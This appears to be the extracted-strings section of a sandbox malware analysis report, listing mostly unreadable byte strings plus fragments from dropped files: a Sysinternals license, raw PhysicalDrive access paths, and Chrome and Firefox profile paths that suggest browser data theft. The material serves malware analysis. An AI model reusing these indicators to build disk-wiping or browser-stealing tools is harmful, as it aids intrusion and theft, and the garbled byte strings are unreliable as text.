Ansi based on Runtime Data (rundll32.exe )
??b1?[??{?
Ansi based on Runtime Data (rundll32.exe )
??c??+n
Ansi based on Runtime Data (rundll32.exe )
??c_??eee???|?`??c#?Cz??
Ansi based on Runtime Data (rundll32.exe )
??c_?N???\6
Ansi based on Runtime Data (rundll32.exe )
??D?b?"-
Ansi based on Runtime Data (rundll32.exe )
??G???uE?`?N?\Fe????fe#%@8?"??
Ansi based on Runtime Data (rundll32.exe )
??GE?QvV
Ansi based on Runtime Data (rundll32.exe )
??Gm?/F
Ansi based on Runtime Data (rundll32.exe )
??H?%'?L??f?7QL??(E0?{?w?~??
Ansi based on Runtime Data (rundll32.exe )
??H???&?H?
Ansi based on Runtime Data (rundll32.exe )
??i?????? ??j+2???
Ansi based on Runtime Data (rundll32.exe )
??i?h??w?-?Vf?t~??^a????
Ansi based on Runtime Data (rundll32.exe )
??J?9?Z??J?9?Z??J
Ansi based on Runtime Data (rundll32.exe )
??J???c???p?
Ansi based on Runtime Data (rundll32.exe )
??J???H??B??=???7???1u?+V?*4??-
Ansi based on Runtime Data (rundll32.exe )
??J@=????)*+??
Ansi based on Runtime Data (rundll32.exe )
??jhV?%3x??4h?
Ansi based on Runtime Data (rundll32.exe )
??k?ez?G[???
Ansi based on Runtime Data (rundll32.exe )
??KFqRHNH
Ansi based on Runtime Data (rundll32.exe )
??M?d?
Ansi based on Runtime Data (rundll32.exe )
??N?00?O???
Ansi based on Runtime Data (rundll32.exe )
??o?+yk$???????pX???R???P?3??4i??M?/
Ansi based on Runtime Data (rundll32.exe )
??O??
Ansi based on Runtime Data (rundll32.exe )
??O????,_>A
Ansi based on Runtime Data (rundll32.exe )
??o?L?
Ansi based on Runtime Data (rundll32.exe )
??P2??^T/
Ansi based on Runtime Data (rundll32.exe )
??ph?a???YH
Ansi based on Runtime Data (rundll32.exe )
??q$???^:?
Ansi based on Runtime Data (rundll32.exe )
??Q???????Q?7I
Ansi based on Runtime Data (CPK.exe )
??Q?zl?
Ansi based on Runtime Data (rundll32.exe )
??Ql0d???v?V?C>??p@
Ansi based on Runtime Data (rundll32.exe )
??R:-?T?2?ow
Ansi based on Runtime Data (rundll32.exe )
??r?????]Q2a
Ansi based on Runtime Data (rundll32.exe )
??r?\??b
Ansi based on Runtime Data (rundll32.exe )
??R^??2???s?
Ansi based on Runtime Data (rundll32.exe )
??RPWQ?X
Ansi based on Runtime Data (rundll32.exe )
??S?Fd?????6?&Rb
Ansi based on Runtime Data (rundll32.exe )
??t7Z
Ansi based on Runtime Data (rundll32.exe )
??t?8N?C????P5?f??m?E???
Ansi based on Runtime Data (rundll32.exe )
??t?9R?3
Ansi based on Runtime Data (rundll32.exe )
??T????
Ansi based on Runtime Data (rundll32.exe )
??u?_f??^]?U???D
Ansi based on Runtime Data (rundll32.exe )
??u?z?????
Ansi based on Runtime Data (rundll32.exe )
??u?}LY?I?C?%U??6
Ansi based on Runtime Data (rundll32.exe )
??U[?M 3?FOl?zuj?
Ansi based on Runtime Data (rundll32.exe )
??va?j2
Ansi based on Runtime Data (rundll32.exe )
??X?,
Ansi based on Runtime Data (rundll32.exe )
??y?#O.?]??T??
Ansi based on Runtime Data (rundll32.exe )
??Z?e?Z??Z4??Zf]?Z
Ansi based on Runtime Data (rundll32.exe )
??{A???%I
Ansi based on Runtime Data (rundll32.exe )
??|?O?y
Ansi based on Runtime Data (rundll32.exe )
??}???}GOP
Ansi based on Runtime Data (rundll32.exe )
??}O??[
Ansi based on Runtime Data (rundll32.exe )
??~?q
Ansi based on Runtime Data (rundll32.exe )
?@??.d
Ansi based on Runtime Data (rundll32.exe )
?@??|~
Ansi based on Runtime Data (CPK.exe )
?@BM'`???2M??N?
Ansi based on Runtime Data (rundll32.exe )
?@K??
Ansi based on Runtime Data (rundll32.exe )
?@t)U???7Y?T
Ansi based on Runtime Data (rundll32.exe )
?@}?S4?*
Ansi based on Runtime Data (rundll32.exe )
?[?>5??G?
Ansi based on Runtime Data (rundll32.exe )
?[????
Ansi based on Runtime Data (rundll32.exe )
?[?????]?U??Q?M?E?@
Ansi based on Runtime Data (rundll32.exe )
?[???L????
Ansi based on Runtime Data (rundll32.exe )
?\L:?
Ansi based on Runtime Data (rundll32.exe )
?]8q?Mp5
Ansi based on Runtime Data (rundll32.exe )
?]v>??h?V???
Ansi based on Runtime Data (rundll32.exe )
?_J??,??Tp?g?[??]?>kq#
Ansi based on Runtime Data (rundll32.exe )
?_QTz
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
?`?A??
Ansi based on Runtime Data (rundll32.exe )
?`K#A$
Ansi based on Runtime Data (rundll32.exe )
?a??*?u4?A???O?!?YJK?U?i
Ansi based on Runtime Data (rundll32.exe )
?A??<$s??:?t3p
Ansi based on Runtime Data (rundll32.exe )
?action=
Ansi based on Dropped File (MIO.dll.1862922135)
?Ap?????U?
Ansi based on Runtime Data (rundll32.exe )
?B3????Q?\
Ansi based on Runtime Data (rundll32.exe )
?b?o?
Ansi based on Runtime Data (rundll32.exe )
?C7??%?Y??j#5E?Z?9?Z?9?Z?9?Ze?aI?q
Ansi based on Runtime Data (rundll32.exe )
?c?3?????.O?8?x<NG0?5?
Ansi based on Runtime Data (rundll32.exe )
?C??3?????beH?p?
Ansi based on Runtime Data (rundll32.exe )
?c?[?
Ansi based on Runtime Data (rundll32.exe )
?c?in?Z9V??K
Ansi based on Runtime Data (rundll32.exe )
?C?y??
Ansi based on Runtime Data (rundll32.exe )
?cn??
Ansi based on Runtime Data (rundll32.exe )
?cu!=+3>7
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
?d%d&-?????"???
Ansi based on Runtime Data (rundll32.exe )
?dAg?P
Ansi based on Runtime Data (rundll32.exe )
?dK?A?r???
Ansi based on Runtime Data (rundll32.exe )
?dSz?&0???#W
Ansi based on Runtime Data (rundll32.exe )
?e?7?=u?o
Ansi based on Runtime Data (rundll32.exe )
?E???
Ansi based on Runtime Data (rundll32.exe )
?E???&????K?*D???_?
Ansi based on Runtime Data (rundll32.exe )
?E???t4???
Ansi based on Runtime Data (rundll32.exe )
?E??z~
Ansi based on Runtime Data (rundll32.exe )
?E?P??t?~?ww7?t?
Ansi based on Runtime Data (rundll32.exe )
?f3???z????v\?E(?
Ansi based on Runtime Data (rundll32.exe )
?F??>s???Q
Ansi based on Runtime Data (rundll32.exe )
?F??|^?
Ansi based on Runtime Data (rundll32.exe )
?f?a:?
Ansi based on Runtime Data (rundll32.exe )
?i/??;?G?1
Ansi based on Runtime Data (rundll32.exe )
?I3f??B??+?
Ansi based on Runtime Data (rundll32.exe )
?I?>?g$???g?
Ansi based on Runtime Data (rundll32.exe )
?I??:|?i?????T%
Ansi based on Runtime Data (rundll32.exe )
?I?`???hg
Ansi based on Runtime Data (rundll32.exe )
?I?k?
Ansi based on Runtime Data (rundll32.exe )
?Iu????v?8F^?.?FF??{????
Ansi based on Runtime Data (rundll32.exe )
?j5?\?i?w=-(F0??EoP?_E
Ansi based on Runtime Data (rundll32.exe )
?J9J?
Ansi based on Runtime Data (rundll32.exe )
?J??f?O`??`?B?U?G???
Ansi based on Runtime Data (rundll32.exe )
?J?X??oXpJ?iH?D?\????
Ansi based on Runtime Data (rundll32.exe )
?j@PkU????OR?
Ansi based on Runtime Data (rundll32.exe )
?j[P?'?????
Ansi based on Runtime Data (rundll32.exe )
?JD?E
Ansi based on Runtime Data (rundll32.exe )
?k?)C?????0??`
Ansi based on Runtime Data (rundll32.exe )
?K?z???7m????{>?LVZ?
Ansi based on Runtime Data (rundll32.exe )
?K?{|???w???R.O???\#e????~+i??E[?vA???L?;?*??
Ansi based on Runtime Data (rundll32.exe )
?L?????
Ansi based on Runtime Data (rundll32.exe )
?l????????
Ansi based on Runtime Data (rundll32.exe )
?l\?`>?`
Ansi based on Runtime Data (rundll32.exe )
?lK??N???XE&[???6?A?.
Ansi based on Runtime Data (rundll32.exe )
?M8?F'???&?:?dj??
Ansi based on Runtime Data (CPK.exe )
?m:d(m))!==c.check){a.msg="incorrect data check",c.mode=lb;break}m=0,n=0}c.mode=jb;case jb:if(c.wrap&&c.flags){for(;32>n;){if(0===i)break a;i--,m+=e[g++]<<n,n+=8}if(m!==(4294967295&c.total)){a.msg="incorrect length check",c.mode=lb;break}m=0,n=0}c.mode=kb;case
Ansi based on Runtime Data (CPK.exe )
?M?3???~
Ansi based on Runtime Data (rundll32.exe )
?M??hV???M
Ansi based on Runtime Data (rundll32.exe )
?M??Mk???
Ansi based on Runtime Data (rundll32.exe )
?M??Y????$????j???T$
Ansi based on Runtime Data (rundll32.exe )
?M??}?
Ansi based on Runtime Data (rundll32.exe )
?M?L?D$pL?I
Ansi based on Runtime Data (rundll32.exe )
?M`m????@@/?x?
Ansi based on Runtime Data (rundll32.exe )
?mB???aa?
Ansi based on Runtime Data (rundll32.exe )
?MT??
Ansi based on Runtime Data (rundll32.exe )
?mx?p$
Ansi based on Runtime Data (rundll32.exe )
?M}?vjY?
Ansi based on Runtime Data (rundll32.exe )
?n?????_?S
Ansi based on Runtime Data (rundll32.exe )
?N???n?????A?
Ansi based on Runtime Data (rundll32.exe )
?n?do?>h??
Ansi based on Runtime Data (rundll32.exe )
?n?|q?T???q?
Ansi based on Runtime Data (rundll32.exe )
?o34??c??O?Y??K?5???#??
Ansi based on Runtime Data (rundll32.exe )
?O??c??~&@??O??]?W?
Ansi based on Runtime Data (rundll32.exe )
?o?N?8%??
Ansi based on Runtime Data (rundll32.exe )
?oo?C?
Ansi based on Runtime Data (rundll32.exe )
?P'+^v
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
?P?)?????
Ansi based on Runtime Data (rundll32.exe )
?P?9}????
Ansi based on Runtime Data (rundll32.exe )
?p?????
Ansi based on Runtime Data (rundll32.exe )
?p??j???/?o?
Ansi based on Runtime Data (rundll32.exe )
?P?~xh?7?=
Ansi based on Runtime Data (rundll32.exe )
?PWV?
Ansi based on Runtime Data (rundll32.exe )
?q8W`o/8@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
?q??{??)?
Ansi based on Runtime Data (rundll32.exe )
?Q?dE??e?'???p??udo?j#?U
Ansi based on Runtime Data (rundll32.exe )
?q?IGP????
Ansi based on Runtime Data (rundll32.exe )
?qk?r?
Ansi based on Runtime Data (rundll32.exe )
?r?<?
Ansi based on Runtime Data (rundll32.exe )
?r???p???U??
Ansi based on Runtime Data (rundll32.exe )
?r?C?CL|C
Ansi based on Runtime Data (rundll32.exe )
?R\?0?
Ansi based on Runtime Data (rundll32.exe )
?S(???*??
Ansi based on Runtime Data (rundll32.exe )
?S?0????Q?[?9c?9??b%
Ansi based on Runtime Data (rundll32.exe )
?s@????
Ansi based on Runtime Data (rundll32.exe )
?SVWP?E?d?
Ansi based on Runtime Data (rundll32.exe )
?t??$?H?
Ansi based on Runtime Data (rundll32.exe )
?t?]F
Ansi based on Runtime Data (rundll32.exe )
?T?O?:?u
Ansi based on Runtime Data (rundll32.exe )
?t?x?~?
Ansi based on Runtime Data (rundll32.exe )
?terminate@@YAXXZ
Ansi based on Dropped File (ttttt.exe.179545488)
?U=T?
Ansi based on Runtime Data (rundll32.exe )
?U?=s????
Ansi based on Runtime Data (rundll32.exe )
?U???
Ansi based on Runtime Data (rundll32.exe )
?U?????
Ansi based on Runtime Data (rundll32.exe )
?U?fn?E
Ansi based on Runtime Data (rundll32.exe )
?uI?0S?M
Ansi based on Runtime Data (rundll32.exe )
?v??c8>5????;'?
Ansi based on Runtime Data (rundll32.exe )
?V?C^5U?[??%
Ansi based on Runtime Data (rundll32.exe )
?vI?A?]|<?Ji?X?_?H>
Ansi based on Runtime Data (rundll32.exe )
?w??,g!?w??v
Ansi based on Runtime Data (rundll32.exe )
?w????*>?
Ansi based on Runtime Data (rundll32.exe )
?w????G[
Ansi based on Runtime Data (CPK.exe )
?w?{(??,?
Ansi based on Runtime Data (rundll32.exe )
?wV????w?
Ansi based on Runtime Data (rundll32.exe )
?x('"^89
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
?x3,?????j?VF??????'??p???,???v?sv
Ansi based on Runtime Data (rundll32.exe )
?XB.s?J?
Ansi based on Runtime Data (rundll32.exe )
?xW8?n'H?
Ansi based on Runtime Data (rundll32.exe )
?y#?=E
Ansi based on Runtime Data (rundll32.exe )
?y7??
Ansi based on Runtime Data (rundll32.exe )
?y:}n
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
?Y?9?L??
Ansi based on Runtime Data (rundll32.exe )
?Y????
Ansi based on Runtime Data (rundll32.exe )
?Y??mP????#???!-?H?2??5
Ansi based on Runtime Data (rundll32.exe )
?y?s??W???c?Q#?0z?pw/
Ansi based on Runtime Data (rundll32.exe )
?z?G???c`b
Ansi based on Runtime Data (rundll32.exe )
?{??o??
Ansi based on Runtime Data (rundll32.exe )
?{?j??V
Ansi based on Runtime Data (rundll32.exe )
?{P?vl?/?~?o4vjs1Z?4
Ansi based on Runtime Data (rundll32.exe )
?}????f?I
Ansi based on Runtime Data (rundll32.exe )
?}??[?p
Ansi based on Runtime Data (rundll32.exe )
?}d???|qO
Ansi based on Runtime Data (rundll32.exe )
?~Z?:|???Qn?>??3?U"???-??-
Ansi based on Runtime Data (rundll32.exe )
@.data
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@.Ew/Dq~6xM7
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@.reloc
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@.rsrc
Ansi based on Dropped File (ttttt.exe.179545488)
@3X1]ESw0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@?.???
Ansi based on Runtime Data (rundll32.exe )
@?aD9?
Ansi based on Runtime Data (rundll32.exe )
@?O????=^)C,?;,
Ansi based on Runtime Data (rundll32.exe )
@?r?)u??
Ansi based on Runtime Data (rundll32.exe )
@@^2!kn&8i
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@[OM-
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@c0~i^y=G
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@d=.V,GPN
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@d?wWu???
Ansi based on Runtime Data (rundll32.exe )
@ETyP[[;$
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@i`w_7h%
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@IaW8&!\z
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@L}Z<8%>9?
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@NisXR@cJZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@pG?we]Oj
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
@{-1f
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[#<guid>] Enumerate Registered Trace Guids
Unicode based on Dropped File (ttttt.exe.179545488)
[/=JgWti)S
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[/@bB13&`
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[2E8M+GKm
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[3>z]b.T]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[4.j=Jd:}
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[??gU?~_?A??[??e??????
Ansi based on Runtime Data (rundll32.exe )
[?^#8
Ansi based on Runtime Data (rundll32.exe )
[]XYUBj?
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[cc/?jZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[cV#3MzE
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[dlP.{kY>,w
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[installpathmk]
Ansi based on Dropped File (psi.dll.1283195511)
[Instance %-4d: Driver %6s] %s
Unicode based on Dropped File (ttttt.exe.179545488)
[Instance %-4d: Pre-Enabled %6s] %s
Unicode based on Dropped File (ttttt.exe.179545488)
[Instance %-4d: User Mode %6s] Pid = %-8d %s
Unicode based on Dropped File (ttttt.exe.179545488)
[kViXkPiZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[L2s0b9P
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[LoggerName] Flushes the [LoggerName] active buffers
Unicode based on Dropped File (ttttt.exe.179545488)
[OdU5QSuwd
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[thunk]:
Ansi based on Dropped File (kokoko.dll.2691425955)
[U\4O5T9g_T
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[uidmk]
Ansi based on Dropped File (psi.dll.1283195511)
[versionmk]
Ansi based on Dropped File (psi.dll.1283195511)
[WFqn<Gu4M!?0NL
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
[~???2
Ansi based on Runtime Data (rundll32.exe )
\#c{gv5it
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\#qOLOR"
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\$P:~}_[:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\%s:%x
Unicode based on Dropped File (hhhhh.exe.655875088)
\'b7\tab Internet-based services, and \par
Ansi based on Dropped File (hhhhh.exe.655875088)
\'b7\tab make more copies of the software than specified in this agreement or allowed by applicable law, despite this limitation;\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\'b7\tab publish the software for others to copy;\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\'b7\tab rent, lease or lend the software;\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\'b7\tab support services\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\'b7\tab transfer the software or this agreement to any third party; or\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\'b7\tab use the software for commercial software hosting services.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\05(IKi4>
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\2V^r{8=M'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\4ay00%23492\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\6rJn
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\??\%s
Unicode based on Dropped File (hhhhh.exe.655875088)
\??^?7??0Q\G?@u?P?TS?1d?
Ansi based on Runtime Data (rundll32.exe )
\\.\%s
Unicode based on Dropped File (hhhhh.exe.655875088)
\\.\Global\%s
Unicode based on Dropped File (hhhhh.exe.655875088)
\\.\PhysicalDrive%d
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\\.\PhysicalDrive0
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
\\.\Scsi%d:
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\b BY USING THE SOFTWARE, YOU ACCEPT THESE TERMS. IF YOU DO NOT ACCEPT THEM, DO NOT USE THE SOFTWARE.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\b EFFET JURIDIQUE.\b0 Le pr\'e9sent contrat d\'e9crit certains droits juridiques. Vous pourriez avoir d'autres droits pr\'e9vus par les lois de votre pays. Le pr\'e9sent contrat ne modifie pas les droits que vous conf\'e8rent les lois de votre pays si celles-ci ne le permettent pas.\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\C7cC
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\c[ue;2I`P
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\caps\fs20 2.\tab\fs19 Scope of License\caps0 .\b0 The software is licensed, not sold. This agreement only gives you some rights to use the software. Sysinternals reserves all other rights. Unless applicable law gives you more rights despite this limitation, you may use the software only as expressly permitted in this agreement. In doing so, you must comply with any technical limitations in the software that only allow you to use it in certain ways. You may not\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\caps\fs20 4.\tab\fs19 Export Restrictions\caps0 .\b0 The software is subject to United States export laws and regulations. You must comply with all domestic and international export laws and regulations that apply to the software. These laws include restrictions on destinations, end users and end use. For additional information, see \cf1\ul www.microsoft.com/exporting <http://www.microsoft.com/exporting>\cf0\ulnone .\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\caps\fs20 5.\tab\fs19 SUPPORT SERVICES.\caps0 \b0 Because this software is \ldblquote as is,\rdblquote we may not provide support services for it.\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\caps\fs20 6.\tab\fs19 Entire Agreement.\b0\caps0 This agreement, and the terms for supplements, updates, Internet-based services and support services that you use, are the entire agreement for the software and support services.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\CK>/dEZJ='
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\Device
Unicode based on Dropped File (hhhhh.exe.655875088)
\Device\Mup
Unicode based on Dropped File (hhhhh.exe.655875088)
\DosDevices\%c:
Unicode based on Dropped File (hhhhh.exe.655875088)
\DosDevices\PROCEXP152
Unicode based on Dropped File (hhhhh.exe.655875088)
\EpEK
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
\Filters
Unicode based on Dropped File (ttttt.exe.179545488)
\fs20 9.\tab\fs19 Disclaimer of Warranty.\caps0 \caps The software is licensed \ldblquote as-is.\rdblquote You bear the risk of using it. SYSINTERNALS gives no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this agreement cannot change. To the extent permitted under your local laws, SYSINTERNALS excludes the implied warranties of merchantability, fitness for a particular purpose and non-infringement.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\GO JF6+g
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\Google\Chrome\User Data\
Unicode based on Dropped File (kokoko.dll.2691425955)
\Jk[2`CrppW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\L,Ony?7q9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
\lang1033 Cette limitation concerne :\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\LogFile.Etl
Unicode based on Dropped File (ttttt.exe.179545488)
\Mozilla\Firefox\
Unicode based on Dropped File (kokoko.dll.2691425955)
\ObjectTypes
Unicode based on Dropped File (hhhhh.exe.655875088)
\pard\b Please note: As this software is distributed in Quebec, Canada, some of the clauses in this agreement are provided below in French.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\brdrt\brdrs\brdrw10\brsp20 \sb120\sa120 If you comply with these license terms, you have the rights below.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-357\li357\sb120\sa120\tx360\b\fs20 3.\tab\fs19 DOCUMENTATION.\b0 Any person that has valid access to your computer or internal network may copy and use the documentation for your internal, reference purposes.\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-357\li357\sb120\sa120\tx360\caps\fs20 8.\tab\fs19 Legal Effect.\b0\caps0 This agreement describes certain legal rights. You may have other rights under the laws of your country. You may also have rights with respect to the party from whom you acquired the software. This agreement does not change your rights under the laws of your country if the laws of your country do not permit it to do so.\b\caps\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-357\li357\sb120\sa120\tx360\fs20 1.\tab\fs19 INSTALLATION AND USE RIGHTS. \b0 You may install and use any number of copies of the software on your devices.\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-360\li360\sb120\sa120\tx360\fs20 10.\tab\fs19 Limitation on and Exclusion of Remedies and Damages. You can recover from SYSINTERNALS and its suppliers only direct damages up to U.S. $5.00. You cannot recover any other damages, including consequential, lost profits, special, indirect or incidental damages.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\'b7\tab claims for breach of contract, breach of warranty, guarantee or condition, strict liability, negligence, or other tort to the extent permitted by applicable law.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\'b7\tab reverse engineer, decompile or disassemble the binary versions of the software, except and only to the extent that applicable law expressly permits, despite this limitation;\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\'b7\tab supplements,\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\fs20 b.\tab\fs19 Outside the United States.\b0 If you acquired the software in any other country, the laws of that country apply.\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\tx720\'b7\tab anything related to the software, services, content (including code) on third party Internet sites, or third party programs; and\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\tx720\'b7\tab les r\'e9clamations au titre de violation de contrat ou de garantie, ou au titre de responsabilit\'e9 stricte, de n\'e9gligence ou d'une autre faute dans la limite autoris\'e9e par la loi en vigueur.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\tx720\'b7\tab updates,\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\tx720\b0\'b7\tab work around any technical limitations in the binary versions of the software;\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\fi-363\li720\sb120\sa120\tx720\cf0\fs20 a.\tab\fs19 United States.\b0 If you acquired the software in the United States, Washington state law governs the interpretation of this agreement and applies to claims for breach of it, regardless of conflict of laws principles. The laws of the state where you live govern all other claims, including claims under state consumer protection laws, unfair competition laws, and in tort.\b\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\keepn\fi-360\li360\sb120\sa120\tx360\cf2\b\caps\fs20 7.\tab\fs19 Applicable Law\caps0 .\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\keepn\fi-360\li720\sb120\sa120\tx720\lang1036\'b7\tab tout ce qui est reli\'e9 au logiciel, aux services ou au contenu (y compris le code) figurant sur des sites Internet tiers ou dans des programmes tiers ; et\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\keepn\sb120\sa120\b LIMITATION DES DOMMAGES-INT\'c9R\'caTS ET EXCLUSION DE RESPONSABILIT\'c9 POUR LES DOMMAGES.\b0 Vous pouvez obtenir de Sysinternals et de ses fournisseurs une indemnisation en cas de dommages directs uniquement \'e0 hauteur de 5,00 $ US. Vous ne pouvez pr\'e9tendre \'e0 aucune indemnisation pour les autres dommages, y compris les dommages sp\'e9ciaux, indirects ou accessoires et pertes de b\'e9n\'e9fices.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\lang1033\b0\fs20\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\li357\sb120\sa120\b0\caps0 This limitation applies to\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\li360\sb120\sa120 It also applies even if Sysinternals knew or should have known about the possibility of the damages. The above limitation or exclusion may not apply to you because your country may not allow the exclusion or limitation of incidental, consequential or other damages.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\sb120\sa120 Elle s'applique \'e9galement, m\'eame si Sysinternals connaissait ou devrait conna\'eetre l'\'e9ventualit\'e9 d'un tel dommage. Si votre pays n'autorise pas l'exclusion ou la limitation de responsabilit\'e9 pour les dommages indirects, accessoires ou de quelque nature que ce soit, il se peut que la limitation ou l'exclusion ci-dessus ne s'appliquera pas \'e0 votre \'e9gard.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\sb120\sa120 EXON\'c9RATION DE GARANTIE.\b0 Le logiciel vis\'e9 par une licence est offert \'ab tel quel \'bb. Toute utilisation de ce logiciel est \'e0 votre seule risque et p\'e9ril. Sysinternals n'accorde aucune autre garantie expresse. Vous pouvez b\'e9n\'e9ficier de droits additionnels en vertu du droit local sur la protection dues consommateurs, que ce contrat ne peut modifier. La ou elles sont permises par le droit locale, les garanties implicites de qualit\'e9 marchande, d'ad\'e9quation \'e0 un usage particulier et d'absence de contrefa\'e7on sont exclues.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\sb120\sa120 for this software, unless other terms accompany those items. If so, those terms apply.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\sb120\sa120\b0\fs19 These license terms are an agreement between Sysinternals (a wholly owned subsidiary of Microsoft Corporation) and you. Please read them. They apply to the software you are downloading from Systinternals.com, which includes the media on which you received it, if any. The terms also apply to any Sysinternals\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\pard\sb240\lang1036 Remarque : Ce logiciel \'e9tant distribu\'e9 au Qu\'e9bec, Canada, certaines des clauses dans ce contrat sont fournies ci-dessous en fran\'e7ais.\par
Ansi based on Dropped File (hhhhh.exe.655875088)
\Preferences
Unicode based on Dropped File (kokoko.dll.2691425955)
\prefs.js
Unicode based on Dropped File (kokoko.dll.2691425955)
\REGISTRY\MACHINE
Unicode based on Dropped File (hhhhh.exe.655875088)
\REGISTRY\MACHINE\SOFTWARE\CLASSES
Unicode based on Dropped File (hhhhh.exe.655875088)
\Registry\Machine\System\CurrentControlSet\Control\Class
Unicode based on Dropped File (hhhhh.exe.655875088)
\REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\HARDWARE PROFILES\CURRENT
Unicode based on Dropped File (hhhhh.exe.655875088)
\Registry\Machine\System\CurrentControlSet\Services\%s
